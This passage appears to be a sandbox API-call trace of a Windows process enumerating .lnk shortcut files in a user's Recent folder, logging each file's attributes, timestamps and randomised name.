(in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3dd3060, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe3dd3060, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe3dd3060, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xf6e, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="TkLfdZIlDakm76-.lnk", cAlternateFileName="TKLFDZ~1.LNK")) returned 1 [0088.755] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.757] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\T8It.lnk") returned="T8It.lnk" [0088.757] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0088.757] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="" [0088.757] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1f53680, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe1f53680, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe1f53680, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xf49, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="TMqKQ2zuzjTW1 rgpUD.lnk", cAlternateFileName="TMQKQ2~1.LNK")) returned 1 [0088.757] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.757] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\TkLfdZIlDakm76-.lnk") returned="TkLfdZIlDakm76-.lnk" [0088.757] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0088.757] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="" [0088.757] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4295c60, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe4295c60, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe4295c60, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xfdd, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="tmUsVmOJOG5Chco34.lnk", cAlternateFileName="TMUSVM~1.LNK")) returned 1 [0088.758] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.758] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\TMqKQ2zuzjTW1 rgpUD.lnk") returned="TMqKQ2zuzjTW1 rgpUD.lnk" [0088.758] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0088.758] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="" [0088.758] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4732700, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe4732700, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe4732700, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x2019, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="TvETS.lnk", cAlternateFileName="")) returned 1 [0088.758] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.758] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\tmUsVmOJOG5Chco34.lnk") returned="tmUsVmOJOG5Chco34.lnk" [0088.758] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0088.758] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="" [0088.758] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe52a70e0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe52a70e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe52a70e0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x14a8, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="TWFrv4l2WWHi.lnk", cAlternateFileName="TWFRV4~1.LNK")) returned 1 [0088.758] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.759] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\TvETS.lnk") returned="TvETS.lnk" [0088.759] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0088.759] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="" [0088.759] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe054a5e0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe6030e00, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe6030e00, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x9cb, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="tY3onRA9iVt2rvo.lnk", cAlternateFileName="TY3ONR~1.LNK")) returned 1 [0088.759] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.759] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\TWFrv4l2WWHi.lnk") returned="TWFrv4l2WWHi.lnk" [0088.759] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0088.759] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="" [0088.759] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3095600, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe3095600, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe3095600, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x345, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="UsAcqWbCREu WEcz6Vte.ots.lnk", cAlternateFileName="USACQW~1.LNK")) returned 1 [0088.759] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.760] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\tY3onRA9iVt2rvo.lnk") returned="tY3onRA9iVt2rvo.lnk" [0088.760] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0088.760] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="" [0088.760] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3c562a0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe3c562a0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe3c562a0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x21f8, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="uU-gCLFM.mkv.lnk", cAlternateFileName="UU-GCL~1.LNK")) returned 1 [0088.760] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.760] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\UsAcqWbCREu WEcz6Vte.ots.lnk") returned="UsAcqWbCREu WEcz6Vte.ots.lnk" [0088.760] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0088.760] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="" [0088.760] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5e67d80, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe5e67d80, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe5eda1a0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x28e4, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="uunK45D A7V4ZSnmE.lnk", cAlternateFileName="UUNK45~1.LNK")) returned 1 [0088.760] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.761] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\uU-gCLFM.mkv.lnk") returned="uU-gCLFM.mkv.lnk" [0088.761] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0088.761] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="" [0088.761] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe306f4a0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe306f4a0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe306f4a0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xf5c, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="UvQs5h1cJMlDDVvjMi7m.lnk", cAlternateFileName="UVQS5H~1.LNK")) returned 1 [0088.762] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.762] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\uunK45D A7V4ZSnmE.lnk") returned="uunK45D A7V4ZSnmE.lnk" [0088.762] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0088.762] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="" [0088.762] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2f8ac60, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe2f8ac60, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe2f8ac60, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x155a, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="v0aW9_D.lnk", cAlternateFileName="")) returned 1 [0088.762] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.762] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\UvQs5h1cJMlDDVvjMi7m.lnk") returned="UvQs5h1cJMlDDVvjMi7m.lnk" [0088.762] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0088.762] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="" [0088.762] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe520eb60, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe520eb60, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe520eb60, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x1499, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="vd_zTv2FON.lnk", cAlternateFileName="VD_ZTV~1.LNK")) returned 1 [0088.762] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.763] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\v0aW9_D.lnk") returned="v0aW9_D.lnk" [0088.763] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0088.763] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="" [0088.763] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2fd6f20, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe2fd6f20, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe2fd6f20, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x309, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="vIJkCR5J.lnk", cAlternateFileName="")) returned 1 [0088.763] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.763] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\vd_zTv2FON.lnk") returned="vd_zTv2FON.lnk" [0088.763] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0088.763] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="" [0088.763] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3e6b5e0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe3e6b5e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe3e6b5e0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xf4a, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="vYM6ld.lnk", cAlternateFileName="")) returned 1 [0088.764] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.764] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\vIJkCR5J.lnk") returned="vIJkCR5J.lnk" [0088.764] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0088.764] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="" [0088.764] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe10befc0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe41d7580, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe41d7580, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xe53, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="vyO6gAgaFG.lnk", cAlternateFileName="VYO6GA~1.LNK")) returned 1 [0088.764] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.764] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\vYM6ld.lnk") returned="vYM6ld.lnk" [0088.764] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0088.764] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="" [0088.764] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2bd2a00, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe2bd2a00, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe2bd2a00, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x9f6, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="w XqRmg.lnk", cAlternateFileName="WXQRMG~1.LNK")) returned 1 [0088.764] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.765] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\vyO6gAgaFG.lnk") returned="vyO6gAgaFG.lnk" [0088.765] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0088.765] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="" [0088.765] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3d86da0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe3d86da0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe3dacf00, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x24d, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="W-pMNb4rl3xC.lnk", cAlternateFileName="W-PMNB~1.LNK")) returned 1 [0088.765] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, 